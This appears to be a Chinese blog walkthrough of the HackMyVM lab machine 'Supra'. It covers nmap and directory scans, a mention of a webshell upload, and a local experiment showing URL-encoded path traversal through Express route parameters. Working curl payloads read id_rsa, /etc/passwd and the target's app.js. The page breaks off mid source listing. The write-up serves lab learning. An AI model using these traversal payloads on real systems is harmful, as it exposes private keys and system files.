<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
<meta name="theme-color" content="#222">
<meta name="generator" content="Hexo 6.3.0">
  <link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png">
  <link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png">
  <link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png">
  <link rel="mask-icon" href="/images/logo.svg" color="#222">

<link rel="stylesheet" href="/css/main.css">


<link rel="stylesheet" href="/lib/font-awesome/css/all.min.css">

<script id="hexo-configurations">
    var NexT = window.NexT || {};
    var CONFIG = {"hostname":"ghostlitao.gitee.io","root":"/","scheme":"Gemini","version":"7.8.0","exturl":false,"sidebar":{"position":"left","display":"post","padding":18,"offset":12,"onmobile":false},"copycode":{"enable":false,"show_result":false,"style":null},"back2top":{"enable":true,"sidebar":false,"scrollpercent":false},"bookmark":{"enable":false,"color":"#222","save":"auto"},"fancybox":false,"mediumzoom":false,"lazyload":false,"pangu":false,"comments":{"style":"tabs","active":null,"storage":true,"lazyload":false,"nav":null},"algolia":{"hits":{"per_page":10},"labels":{"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}},"localsearch":{"enable":false,"trigger":"auto","top_n_per_article":1,"unescape":false,"preload":false},"motion":{"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}}};
  </script>

  <meta name="description" content="https:&#x2F;&#x2F;hackmyvm.eu&#x2F;machines&#x2F;machine.php?vm&#x3D;Supra 信息收集NAMP 扫描123456789101112131415IP&#x3D;192.168.0.197nmap -sV -T5 -Pn -p-  $IP# -sV Probe open ports to determine service&#x2F;version info , # 识别服务&#x2F;版本# -T5 Set">
<meta property="og:type" content="article">
<meta property="og:title" content="HMV Supra">
<meta property="og:url" content="https://ghostlitao.gitee.io/2024/04/19/hmv-supra/index.html">
<meta property="og:site_name" content="去找Todd">
<meta property="og:description" content="https:&#x2F;&#x2F;hackmyvm.eu&#x2F;machines&#x2F;machine.php?vm&#x3D;Supra 信息收集NAMP 扫描123456789101112131415IP&#x3D;192.168.0.197nmap -sV -T5 -Pn -p-  $IP# -sV Probe open ports to determine service&#x2F;version info , # 识别服务&#x2F;版本# -T5 Set">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://ghostlitao.gitee.io/">
<meta property="article:published_time" content="2024-04-19T00:40:57.000Z">
<meta property="article:modified_time" content="2024-04-23T00:42:35.907Z">
<meta property="article:author" content="Todd">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://ghostlitao.gitee.io/">

<link rel="canonical" href="https://ghostlitao.gitee.io/2024/04/19/hmv-supra/">


<script id="page-configurations">
  // https://hexo.io/docs/variables.html
  CONFIG.page = {
    sidebar: "",
    isHome : false,
    isPost : true,
    lang   : 'zh-CN'
  };
</script>

  <title>HMV Supra | 去找Todd</title>
  


  <script>
    var _hmt = _hmt || [];
    (function() {
      var hm = document.createElement("script");
      hm.src = "https://hm.baidu.com/hm.js?d988341c748563d16048e8e7dab0f384";
      var s = document.getElementsByTagName("script")[0];
      s.parentNode.insertBefore(hm, s);
    })();
  </script>




  <noscript>
  <style>
  .use-motion .brand,
  .use-motion .menu-item,
  .sidebar-inner,
  .use-motion .post-block,
  .use-motion .pagination,
  .use-motion .comments,
  .use-motion .post-header,
  .use-motion .post-body,
  .use-motion .collection-header { opacity: initial; }

  .use-motion .site-title,
  .use-motion .site-subtitle {
    opacity: initial;
    top: initial;
  }

  .use-motion .logo-line-before i { left: initial; }
  .use-motion .logo-line-after i { right: initial; }
  </style>
</noscript>

</head>

<body itemscope itemtype="http://schema.org/WebPage">
  <div class="container use-motion">
    <div class="headband"></div>

    <header class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-container">
  <div class="site-nav-toggle">
    <div class="toggle" aria-label="切换导航栏">
      <span class="toggle-line toggle-line-first"></span>
      <span class="toggle-line toggle-line-middle"></span>
      <span class="toggle-line toggle-line-last"></span>
    </div>
  </div>

  <div class="site-meta">

    <a href="/" class="brand" rel="start">
      <span class="logo-line-before"><i></i></span>
      <h1 class="site-title">去找Todd</h1>
      <span class="logo-line-after"><i></i></span>
    </a>
      <p class="site-subtitle" itemprop="description">Todd的博客</p>
  </div>

  <div class="site-nav-right">
    <div class="toggle popup-trigger">
    </div>
  </div>
</div>




<nav class="site-nav">
  <ul id="menu" class="main-menu menu">
        <li class="menu-item menu-item-home">

    <a href="/" rel="section"><i class="fa fa-home fa-fw"></i>首页</a>

  </li>
        <li class="menu-item menu-item-tags">

    <a href="/tags/" rel="section"><i class="fa fa-tags fa-fw"></i>标签</a>

  </li>
        <li class="menu-item menu-item-categories">

    <a href="/categories/" rel="section"><i class="fa fa-th fa-fw"></i>分类</a>

  </li>
        <li class="menu-item menu-item-archives">

    <a href="/archives/" rel="section"><i class="fa fa-archive fa-fw"></i>归档</a>

  </li>
  </ul>
</nav>




</div>
    </header>

    
  <div class="back-to-top">
    <i class="fa fa-arrow-up"></i>
    <span>0%</span>
  </div>


    <main class="main">
      <div class="main-inner">
        <div class="content-wrap">
          

          <div class="content post posts-expand">
            

    
  
  
  <article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
    <link itemprop="mainEntityOfPage" href="https://ghostlitao.gitee.io/2024/04/19/hmv-supra/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="image" content="https://mp-b6a394ba-6e60-4cdf-941a-67c55476595e.cdn.bspapp.com/cloudstorage/43eb35ef-1aed-4d61-9ebb-a777fa49e70a.">
      <meta itemprop="name" content="Todd">
      <meta itemprop="description" content="把生命浪费在美好的实物上">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="去找Todd">
    </span>
      <header class="post-header">
        <h1 class="post-title" itemprop="name headline">
          HMV Supra
        </h1>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="far fa-calendar"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>

              <time title="创建时间：2024-04-19 08:40:57" itemprop="dateCreated datePublished" datetime="2024-04-19T08:40:57+08:00">2024-04-19</time>
            </span>
              <span class="post-meta-item">
                <span class="post-meta-item-icon">
                  <i class="far fa-calendar-check"></i>
                </span>
                <span class="post-meta-item-text">更新于</span>
                <time title="修改时间：2024-04-23 08:42:35" itemprop="dateModified" datetime="2024-04-23T08:42:35+08:00">2024-04-23</time>
              </span>
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="far fa-folder"></i>
              </span>
              <span class="post-meta-item-text">分类于</span>
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
                  <a href="/categories/%E9%9D%B6%E5%9C%BA/" itemprop="url" rel="index"><span itemprop="name">靶场</span></a>
                </span>
            </span>

          

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
        <p><a target="_blank" rel="noopener" href="https://hackmyvm.eu/machines/machine.php?vm=Supra">https://hackmyvm.eu/machines/machine.php?vm=Supra</a></p>
<h1 id="信息收集"><a href="#信息收集" class="headerlink" title="信息收集"></a>信息收集</h1><h2 id="NAMP-扫描"><a href="#NAMP-扫描" class="headerlink" title="NAMP 扫描"></a>NAMP 扫描</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">IP=192.168.0.197</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">nmap -sV -T5 -Pn -p-  <span class="variable">$IP</span></span><br><span class="line"><span class="comment"># -sV Probe open ports to determine service/version info , # 识别服务/版本</span></span><br><span class="line"><span class="comment"># -T5 Set timing template (higher is faster) # 5是最快的了</span></span><br><span class="line"><span class="comment"># -Pn Treat all hosts as online -- skip host discovery # 不进行主机发现</span></span><br><span class="line"><span class="comment"># -p- Scan all ports # 扫描所有端口</span></span><br><span class="line"></span><br><span class="line">PORT     STATE SERVICE VERSION</span><br><span class="line">22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)</span><br><span class="line">80/tcp   open  http    Apache httpd 2.4.48 ((Debian))</span><br><span class="line">4000/tcp open  http    Node.js (Express middleware)</span><br><span class="line">Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</span><br></pre></td></tr></table></figure>

<span id="more"></span>

<p>打开网页看看 http:&#x2F;&#x2F;$IP 是个 Apache2 的默认主页。简单扫一波目录。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gobuster <span class="built_in">dir</span> -u http://<span class="variable">$IP</span> -w /usr/share/wordlists/dirb/common.txt -x php,txt,html</span><br></pre></td></tr></table></figure>

<p>只有几个默认的目录。</p>
<p>再看一眼 4000 端口 <a target="_blank" rel="noopener" href="http://192.168.0.197:4000/">http://192.168.0.197:4000</a> 发现是一个 API for Cyber Security Professionals。 网络安全专业人士的 API。<br><img src="/'index.png'" alt="API for Cyber Security Professionals"></p>
<p>核心源代码大概如下：</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">ping</span>(<span class="params"></span>) &#123;</span><br><span class="line">  ip = <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&quot;pingIn&quot;</span>).<span class="property">value</span>;</span><br><span class="line">  <span class="keyword">var</span> xhttp = <span class="keyword">new</span> <span class="title class_">XMLHttpRequest</span>();</span><br><span class="line">  xhttp.<span class="title function_">open</span>(<span class="string">&quot;GET&quot;</span>, <span class="string">&quot;/ping/&quot;</span> + ip, <span class="literal">false</span>);</span><br><span class="line">  xhttp.<span class="title function_">send</span>();</span><br><span class="line">  <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&quot;pingResult&quot;</span>).<span class="property">innerHTML</span> = xhttp.<span class="property">responseText</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">portscan</span>(<span class="params"></span>) &#123;</span><br><span class="line">  ip = <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&quot;portscanIn&quot;</span>).<span class="property">value</span>;</span><br><span class="line">  <span class="keyword">var</span> xhttp = <span class="keyword">new</span> <span class="title class_">XMLHttpRequest</span>();</span><br><span class="line">  xhttp.<span class="title function_">open</span>(<span class="string">&quot;GET&quot;</span>, <span class="string">&quot;/portscan/&quot;</span> + ip, <span class="literal">false</span>);</span><br><span class="line">  xhttp.<span class="title function_">send</span>();</span><br><span class="line">  <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&quot;portscanResult&quot;</span>).<span class="property">innerHTML</span> = xhttp.<span class="property">responseText</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">whois</span>(<span class="params"></span>) &#123;</span><br><span class="line">  ip = <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&quot;whoisIn&quot;</span>).<span class="property">value</span>;</span><br><span class="line">  <span class="keyword">var</span> xhttp = <span class="keyword">new</span> <span class="title class_">XMLHttpRequest</span>();</span><br><span class="line">  xhttp.<span class="title function_">open</span>(<span class="string">&quot;GET&quot;</span>, <span class="string">&quot;/whois/&quot;</span> + ip, <span class="literal">false</span>);</span><br><span class="line">  xhttp.<span class="title function_">send</span>();</span><br><span class="line">  <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&quot;whoisResult&quot;</span>).<span class="property">innerHTML</span> = xhttp.<span class="property">responseText</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">base64e</span>(<span class="params"></span>) &#123;</span><br><span class="line">  data = <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&quot;base64eIn&quot;</span>).<span class="property">value</span>;</span><br><span class="line">  <span class="keyword">var</span> xhttp = <span class="keyword">new</span> <span class="title class_">XMLHttpRequest</span>();</span><br><span class="line">  xhttp.<span class="title function_">open</span>(<span class="string">&quot;GET&quot;</span>, <span class="string">&quot;/base64/encode/&quot;</span> + data, <span class="literal">false</span>);</span><br><span class="line">  xhttp.<span class="title function_">send</span>();</span><br><span class="line">  <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&quot;base64eResult&quot;</span>).<span class="property">innerHTML</span> = xhttp.<span class="property">responseText</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">base64d</span>(<span class="params"></span>) &#123;</span><br><span class="line">  data = <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&quot;base64dIn&quot;</span>).<span class="property">value</span>;</span><br><span class="line">  <span class="keyword">var</span> xhttp = <span class="keyword">new</span> <span class="title class_">XMLHttpRequest</span>();</span><br><span class="line">  xhttp.<span class="title function_">open</span>(<span class="string">&quot;GET&quot;</span>, <span class="string">&quot;/base64/decode/&quot;</span> + data, <span class="literal">false</span>);</span><br><span class="line">  xhttp.<span class="title function_">send</span>();</span><br><span class="line">  <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&quot;base64dResult&quot;</span>).<span class="property">innerHTML</span> = xhttp.<span class="property">responseText</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">passgen</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="keyword">var</span> xhttp = <span class="keyword">new</span> <span class="title class_">XMLHttpRequest</span>();</span><br><span class="line">  xhttp.<span class="title function_">open</span>(<span class="string">&quot;GET&quot;</span>, <span class="string">&quot;/generate-password&quot;</span>, <span class="literal">false</span>);</span><br><span class="line">  xhttp.<span class="title function_">send</span>();</span><br><span class="line">  <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&quot;passgenResult&quot;</span>).<span class="property">innerHTML</span> = xhttp.<span class="property">responseText</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>一边看源码，再去扫一波目录。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dirb http://<span class="variable">$IP</span>:4000</span><br></pre></td></tr></table></figure>

<p>啥都没有。</p>
<h1 id="尝试"><a href="#尝试" class="headerlink" title="尝试"></a>尝试</h1><p>既然使用了命令，先试试命令注入。尝试了几个命令，发现对 IP 校验比较严格，只能输入 IP 地址。<br>不过最后一个工具既然能直接上传。试试看上传一个 webshell。</p>
<p>传上去之后发现在 80 服务里找不到路径，提示的路即是在 &#x2F;var&#x2F;www&#x2F;api&#x2F;uploads&#x2F;1.phP。4000 里也没扫到 uploads。<br>但是测试了 <a target="_blank" rel="noopener" href="http://192.168.0.197:4000/uploads/1.phP">http://192.168.0.197:4000/uploads/1.phP</a> 发现可以访问。<br>不过因为是 php 文件，所以 nodejs 里不会执行。</p>
<p>回想起来推荐我这个靶机的ll104567说问了关于 Node+Express 的一个目录穿越。试了试 CVE-2017-14849 中的 payload。<code>../../../foo/../../../../etc/passwd</code>发现并没有用。应该版本不匹配，而且ll104567也说不是这个漏洞。</p>
<p>关于 nodejs 中关于文件处理,除了 Express 的 static 模块，还有一个 fs 模块。也去查了下 static 默认会阻止目录穿越，参考 <a target="_blank" rel="noopener" href="https://stackoverflow.com/questions/65860214/does-nodejs-prevent-directory-path-traversal-by-default">https://stackoverflow.com/questions/65860214/does-nodejs-prevent-directory-path-traversal-by-default</a> 我们做一个改造的实验，就是利用 fs 做一个简单的文件服务器：</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> http = <span class="built_in">require</span>(<span class="string">&quot;http&quot;</span>);</span><br><span class="line"><span class="keyword">const</span> fs = <span class="built_in">require</span>(<span class="string">&quot;fs&quot;</span>);</span><br><span class="line"></span><br><span class="line">http</span><br><span class="line">  .<span class="title function_">createServer</span>(<span class="keyword">function</span> (<span class="params">req, res</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&quot;.&quot;</span> + req.<span class="property">url</span>);</span><br><span class="line">    fs.<span class="title function_">readFile</span>(<span class="string">&quot;.&quot;</span> + req.<span class="property">url</span>, <span class="string">&quot;utf8&quot;</span>, <span class="keyword">function</span> (<span class="params">err, data</span>) &#123;</span><br><span class="line">      <span class="keyword">if</span> (err) &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">error</span>(err);</span><br><span class="line">        res.<span class="title function_">writeHead</span>(<span class="number">404</span>, &#123; <span class="string">&quot;Content-Type&quot;</span>: <span class="string">&quot;text/plain&quot;</span> &#125;);</span><br><span class="line">        res.<span class="title function_">end</span>(err.<span class="property">message</span>);</span><br><span class="line">      &#125;</span><br><span class="line">      res.<span class="title function_">writeHead</span>(<span class="number">200</span>, &#123; <span class="string">&quot;Content-Type&quot;</span>: <span class="string">&quot;text/plain&quot;</span> &#125;);</span><br><span class="line">      res.<span class="title function_">end</span>(data);</span><br><span class="line">    &#125;);</span><br><span class="line">  &#125;)</span><br><span class="line">  .<span class="title function_">listen</span>(<span class="number">3000</span>);</span><br><span class="line"></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&quot;The server is running on port 3000&quot;</span>);</span><br></pre></td></tr></table></figure>

<p>这段代码就只是根据请求的 url 返回当前目录下文件内容。然后启动</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">node test.js</span><br><span class="line">The server is running on port 3000</span><br></pre></td></tr></table></figure>

<p>然后我们访问 <code> curl http://192.168.0.20:3000/test.js</code> 是可以读到 test.js 的内容的。说明服务正常。然后我们试试看向上一级访问<br><code>curl http://192.168.0.20:3000/../id_rsa</code><br><code>curl http://192.168.0.20:3000/%2e%2e%2fid_rsa</code></p>
<p>发现并不能读取到 id_rsa 文件。控制台输出如下：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">./id_rsa</span><br><span class="line">[Error: ENOENT: no such file or directory, open &#x27;./id_rsa&#x27;] &#123;</span><br><span class="line">  errno: -2,</span><br><span class="line">  code: &#x27;ENOENT&#x27;,</span><br><span class="line">  syscall: &#x27;open&#x27;,</span><br><span class="line">  path: &#x27;./id_rsa&#x27;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">./%2e%2e%2fid_rsa</span><br><span class="line">[Error: ENOENT: no such file or directory, open &#x27;./%2e%2e%2fid_rsa&#x27;] &#123;</span><br><span class="line">  errno: -2,</span><br><span class="line">  code: &#x27;ENOENT&#x27;,</span><br><span class="line">  syscall: &#x27;open&#x27;,</span><br><span class="line">  path: &#x27;./%2e%2e%2fid_rsa&#x27;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>如这个问题的提问所说，fs 模块默认是不能简单使用 <code>../</code>或者 url 编码(<code>%2e</code>也就是<code>.</code>; <code>%2f</code> 也就是<code>/</code>) 来访问上级目录的。</p>
<p>其实说白了，默认情况下的 url 传递过来，因为并没有进行 url 解码，所以 <code>%2e%2e%2f</code> 会被当做文件名的一部分，而不是目录穿越。而不编码的 <code>../</code> 会被 httpServer 拦截，可以看到控制台的输出是<code>./id_rsa</code>.而不是<code>../id_rsa</code>。</p>
<p>那么这时候，如果有人自动处理解码，那我们就可以绕过 httpServer 的限制，然后把<code>../</code>扔给 fs 模块，是不是就能实现目录穿越了呢？</p>
<p>那这个人应该就是 Express 了，而且什么时候会存在 URL 解码呢？要么是 GET 参数，要么是路由参数。靶机里请求 <a target="_blank" rel="noopener" href="http://192.168.0.197:4000/uploads/1.phP">http://192.168.0.197:4000/uploads/1.phP</a> ，传入的 1.php 应该就是路由参数而不是 GET 参数。<br>说干就干：</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> express = <span class="built_in">require</span>(<span class="string">&quot;express&quot;</span>);</span><br><span class="line"><span class="keyword">const</span> fs = <span class="built_in">require</span>(<span class="string">&quot;fs&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> app = <span class="title function_">express</span>();</span><br><span class="line">app.<span class="title function_">get</span>(<span class="string">&quot;/:path&quot;</span>, <span class="keyword">function</span> (<span class="params">req, res</span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&quot;.&quot;</span> + req.<span class="property">params</span>.<span class="property">path</span>);</span><br><span class="line">  fs.<span class="title function_">readFile</span>(<span class="string">&quot;.&quot;</span> + req.<span class="property">params</span>.<span class="property">path</span>, <span class="string">&quot;utf8&quot;</span>, <span class="keyword">function</span> (<span class="params">err, data</span>) &#123;</span><br><span class="line">    <span class="keyword">if</span> (err) &#123;</span><br><span class="line">      res.<span class="title function_">send</span>(<span class="string">&quot;File not found&quot;</span>);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      res.<span class="title function_">send</span>(data);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;);</span><br><span class="line">app.<span class="title function_">listen</span>(<span class="number">3000</span>, <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&quot;listening to port 3000&quot;</span>);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure>

<p>然后我们再访问：<code>curl http://192.168.0.20:3000/%2e%2e%2fid_rsa</code><br>此时控制台输出了<code>.../id_rsa</code> 我就知道我快成功了，</p>
<p>改下 url :<br><code>curl http://192.168.0.20:3000/%2e%2fid_rsa</code><br>发现成功了，读取到了 id_rsa 的内容。</p>
<p>再尝试下读取 &#x2F;etc&#x2F;passwd</p>
<p><code>curl http://192.168.0.20:3000/%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd</code></p>
<p>没有问题，成功获取到了 我电脑的 <code>/etc/passwd</code> 的内容。<br>回到靶机:</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">curl http://<span class="variable">$IP</span>:4000/uploads/%2e%2e%2fapp.js</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>成功读到 app.js 的内容，</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> express = <span class="built_in">require</span>(<span class="string">&quot;express&quot;</span>);</span><br><span class="line"><span class="keyword">const</span> &#123; exec &#125; = <span class="built_in">require</span>(<span class="string">&quot;child_process&quot;</span>);</span><br><span class="line"><span class="keyword">const</span> &#123; base64encode, base64decode &#125; = <span class="built_in">require</span>(<span class="string">&quot;nodejs-base64&quot;</span>);</span><br><span class="line"><span class="keyword">const</span> whois = <span class="built_in">require</span>(<span class="string">&quot;node-xwhois&quot;</span>);</span><br><span class="line"><span class="keyword">const</span> ipRegex = <span class="built_in">require</span>(<span class="string">&quot;ip-regex&quot;</span>);</span><br><span class="line"><span class="keyword">var</span> generator = <span class="built_in">require</span>(<span class="string">&quot;generate-password&quot;</span>);</span><br><span class="line"><span class="keyword">const</span> fs = <span class="built_in">require</span>(<span class="string">&quot;fs&quot;</span>);</span><br><span class="line"><span class="keyword">var</span> multer = <span class="built_in">require</span>(<span class="string">&quot;multer&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> storage = multer.<span class="title function_">diskStorage</span>(&#123;</span><br><span class="line">  <span class="attr">destination</span>: <span class="keyword">function</span> (<span class="params">req, file, callback</span>) &#123;</span><br><span class="line">    <span class="title function_">callback</span>(<span class="literal">null</span>, <span class="string">&quot;./uploads&quot;</span>);</span><br><span class="line">  &#125;,</span><br><span class="line">  <span 